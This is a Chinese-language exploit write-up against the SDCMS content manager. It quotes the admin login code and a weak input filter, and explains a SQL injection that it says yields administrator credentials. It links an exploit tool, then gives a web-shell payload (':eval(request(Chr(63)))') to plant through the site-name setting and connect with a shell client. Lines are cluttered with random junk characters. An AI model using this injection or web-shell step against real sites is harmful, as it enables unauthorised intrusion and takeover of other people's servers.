作者:T00LS 鬼哥1 m4 d- I" E. v$ W" `& U, z: `
漏洞文件:后台目录/index.asp
3 [# V7 o; B4 x. }- { X9 L" ^* q9 [" }
Sub Check" T. Y8 p/ ~4 h. r1 Q4 x; T# w" T
Dim username,password,code,getcode,Rs
+ D6 ~- v! {4 [ IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub7 @1 _: O0 N+ Q" `' y( `: B% C
username=FilterText(Trim(Request.Form("username")),1)) | A- ^) l7 K) p! u( r
password=FilterText(Trim(Request.Form("password")),1)' c$ i4 l0 \* D: U" R- K& X
code=Trim(Request.Form("yzm"))
, n* h; H5 e7 B/ e% H getcode=Session("SDCMSCode")1 G7 @* J: T5 `
IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died& ^9 Z6 z7 j' L. F* B
IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)" ied h" ^. | Y6 F: a+ Q
IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)" ied
( H' V: _; B f$ | IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)" ied4 g+ S0 B) p- Z/ p
IF username="" or password="" Then9 ~* m A% C& \. X/ V0 Y% K
Echo "用户名或密码不能为空" ied4 @ m0 U) |6 P- I# ~( G
Else
0 `! R; c) ?' a) k Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")6 K& G+ C) S' O& I) K. r$ l
IF Rs.Eof Then& E5 d* D4 B* h
AddLog username,GetIp,"登录失败",1
, j* n: o* B" ? Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会" O) o0 q+ O8 \3 S
Else
1 a$ }% D. d# K' ^2 y Add_Cookies "sdcms_id",Rs(0)
- D, w, j4 D! J- C$ B Add_Cookies "sdcms_name",username% l/ Z0 |' f: E
Add_Cookies "sdcms_pwd",Rs(2) v1 c( Q. K. c k
Add_Cookies "sdcms_admin",Rs(3)# K9 b6 ^6 j% r% A( [1 X0 f
Add_Cookies "sdcms_alllever",Rs(4)
2 m1 B8 A4 L& v" ` Add_Cookies "sdcms_infolever",Rs(5)
' d2 M; S/ H6 q r* n: b7 } Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
5 m: a( ^6 s8 u$ E AddLog username,GetIp,"登录成功",12 o% M; H; Y/ j" s4 p% O4 Z
'自动删除30天前的Log记录
) O! R/ e2 [/ W4 p ^3 X IF Sdcms_DataType Then
6 s! G6 O2 ], H. c) o; Q4 s0 O Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
& P2 I3 g# e7 E Else
+ v- |0 w$ q/ e. Q9 ]% _ Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")& `! U6 a) `3 M. M+ Q
End IF
# w( `; J0 v' z+ x& Y' a5 x9 m Go("sdcms_index.asp")
+ I/ ^4 u* T2 X* R End IF& Q( G' q. r2 ?
Rs.Close
) m* w+ u8 e+ z! `7 B% r. |0 C Set Rs=Nothing8 j+ M5 x; n f7 ?
End IF
+ Y+ V y. H% K" V9 B* eEnd Sub
: ^5 n$ F1 X/ ^6 {8 G( \1 r2 N6 M* k7 M/ U. a. L( l
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
8 k! u0 `4 ]7 z, Z2 @1 m) A- A1 Z/ y6 z- K* V4 Y- o% V7 g
Function FilterText(ByVal t0,ByVal t1)
8 Z8 \6 s- B$ R5 L8 C! _! q, q IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
/ R( p; H4 m+ Z: R+ E7 T) F t0=Trim(t0)
1 `% D9 V1 r+ i" F Select Case t1$ @* L- Q3 P" {* A
Case "1"
. |/ j$ y- L2 I. g: V) U" C t0=Replace(t0,Chr(32),"")
, T( e5 Q: ?6 ?2 R9 d H+ m3 U: l t0=Replace(t0,Chr(13),"")* x- {; J. h U( v8 z# D+ h
t0=Replace(t0,Chr(10)&Chr(10),"")
' M6 K" [- R8 U+ e t0=Replace(t0,Chr(10),"")7 P) u! n0 I) m1 d" _- K
Case "2"; F N. j0 y- e& l. X
t0=Replace(t0,Chr(8),"")'回格
# O0 x# ~# Z# |: [: u t0=Replace(t0,Chr(9),"")'tab(水平制表符)( c4 |; P4 M2 w; u, ?: R x
t0=Replace(t0,Chr(10),"")'换行# {0 x. \( s w% w/ @) g0 [
t0=Replace(t0,Chr(11),"")'tab(垂直制表符) T- i; @3 Q- z$ r
t0=Replace(t0,Chr(12),"")'换页
% y' k5 h" G2 _& c- U t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合% p) B( ?% {* |/ z( d* N: x
t0=Replace(t0,Chr(22),"")
N4 u" V" E/ L/ H+ l! T t0=Replace(t0,Chr(32),"")'空格 SPACE
& p. N7 B+ g! s d1 q t0=Replace(t0,Chr(33),"")'!* u5 ^) f3 W# ]4 v$ ~* H+ n
t0=Replace(t0,Chr(34),"")'"6 u" y& v! {$ T
t0=Replace(t0,Chr(35),"")'#
$ l1 |( T# q0 a; i0 ]* E- k t0=Replace(t0,Chr(36),"")'$* o) C w) w) Z G
t0=Replace(t0,Chr(37),"")'%9 ]) |# D3 P$ {0 T
t0=Replace(t0,Chr(38),"")'&+ `$ C+ j* l" g$ w" s; A3 L5 Y
t0=Replace(t0,Chr(39),"")''" \0 `! Q$ t7 L! n6 K2 G, g
t0=Replace(t0,Chr(40),"")'(
+ y1 y' i: N) C- Z4 U7 b! I; x3 _: @ t0=Replace(t0,Chr(41),"")')
7 K1 g, _ `9 a5 R9 F; ` t0=Replace(t0,Chr(42),"")'*$ p3 z3 [1 ]$ `' _$ H v$ F
t0=Replace(t0,Chr(43),"")'+
7 }/ n; E+ Y, O7 q! j t0=Replace(t0,Chr(44),"")',
: V$ c& ^6 I7 ~4 i6 ] t0=Replace(t0,Chr(45),"")'-
8 A2 j! j* `4 J( m8 {1 V t0=Replace(t0,Chr(46),"")'.
& a: N7 E/ T3 |* U$ n0 \ t0=Replace(t0,Chr(47),"")'/
- [9 O+ Y- m, U- Q- M t0=Replace(t0,Chr(58),"")':
$ c4 B3 v8 F* ]+ C8 e, J t0=Replace(t0,Chr(59),"")';
+ W$ | K* u! A9 u( p" ~8 y t0=Replace(t0,Chr(60),"")'< t0=Replace(t0,Chr(61),"")'= t0=Replace(t0,Chr(62),"")'># O* ^1 O4 p& |
t0=Replace(t0,Chr(63),"")'?3 c6 `+ P4 f G7 q I9 i
t0=Replace(t0,Chr(64),"")'@9 v9 Q7 b. C4 V+ \6 s
t0=Replace(t0,Chr(91),"")'\
0 L# H. A1 M0 q; d t0=Replace(t0,Chr(92),"")'\& u7 Z2 x% ?: m6 K+ o# Y% E
t0=Replace(t0,Chr(93),"")']0 }" y$ s& b: `
t0=Replace(t0,Chr(94),"")'^
6 T; ]- C. p9 }: N- j7 U: F t0=Replace(t0,Chr(95),"")'_
5 h1 M9 X1 ?, |; S t0=Replace(t0,Chr(96),"")'`. q$ ]1 e( P" w# e
t0=Replace(t0,Chr(123),"")'{' ^% B- ?' L! ]% n7 n7 B7 M
t0=Replace(t0,Chr(124),"")'|
N3 Y6 j, P/ P6 z6 C+ l( w t0=Replace(t0,Chr(125),"")'}
, A0 C; K0 V- H+ n9 t4 B, w' B t0=Replace(t0,Chr(126),"")'~+ q% M6 f1 ~ @" j
Case Else( N$ ^/ z3 H8 r" d) g9 I* @
t0=Replace(t0, "&", "&")
# t" y1 d3 f# h& y+ M/ | t0=Replace(t0, "'", "'")2 D( J2 p, G! v! R* O
t0=Replace(t0, """", """); w- i5 z- P% o
t0=Replace(t0, "<", "<") t0=Replace(t0, ">", ">")% _0 w; f* S1 k/ p
End Select
. @8 {9 C) |7 J0 _3 J' | IF Instr(Lcase(t0),"expression")>0 Then
7 k. o- J$ \/ k* c t0=Replace(t0,"expression","e­xpression", 1, -1, 0)
3 \) C: }! q" }( [ O9 K End If
. o. k6 j9 t3 B; e) P FilterText=t0( o' G8 P6 S+ S# L4 o3 s
End Function; B- y) |7 H0 J) f- _" d
$ n. O7 U+ r' c3 O看到没。直接参数是1 只过滤( `6 X! D* J3 F+ @$ C
t0=Replace(t0,Chr(32)," ")' [9 c& E4 {" h$ f& j; p
t0=Replace(t0,Chr(13),"")
X+ U6 C! X. }% _+ _ t0=Replace(t0,Chr(10)&Chr(10),"% K$ K# i/ W( i) d0 q' k: k G
")* k9 N; u, ]& ]1 n- C, F& @/ S" c
t0=Replace(t0,Chr(10),"
- p4 E& T. b# g Y- @9 r")
$ w4 C | l! p8 Y漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!$ E: [$ u6 s9 H' Y
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
9 V; _! y& `( [0 i" ?. s9 m! Z+ A4 J0 v) F. h l
测试:
" s3 Y# [4 K- m1 ?/ c6 Z* K$ x) Z* n8 h6 U! P& s/ s
$ g, f9 g9 v# A" e5 s* c现在输入工具上验证码,然后点OK
0 Q0 F5 j! f6 P* {0 h& c; R$ ~1 e: I6 G+ m3 n6 e1 G5 J
/ }$ `) f: Z# d1 A1 R H看到我们直接进入后台管理界面了,呵呵!+ o* y* c0 y* v/ F" q2 a3 c$ e
, C" t$ W- a* x, O7 J9 O: Y! s# c2 L7 k, {# I! X
. `& }0 s8 O, B. ], b这样直接进入后台了。。。。
- H# j& W4 T1 O8 q" T3 Q* `3 t2 a. x8 S+ Q
9 b! x. o' s% x$ s! U- K' s
3 J s9 E% l; {. E+ \SDCMS提权:4 F8 [0 s2 R& c" I* a9 _
# d* x9 Q f+ i/ s% L方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’ 即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是? s3 V8 z! I1 m; y. Y. g) G: e& W
B4 I* d1 I. }% m$ P5 B* [% B2 t
M$ D* [ s' ^5 l+ ^OK,现在用菜刀连接下!
2 i1 O7 p( F3 R4 L& |
6 h! }" u, Y. |: [! o9 G" x, \
- x: J' ^6 x$ i( A
3 T4 h; p$ I- b$ p+ K
5 P; F! ~5 r% s; d& ]6 a
& [( h; C g* c4 g& e0 c |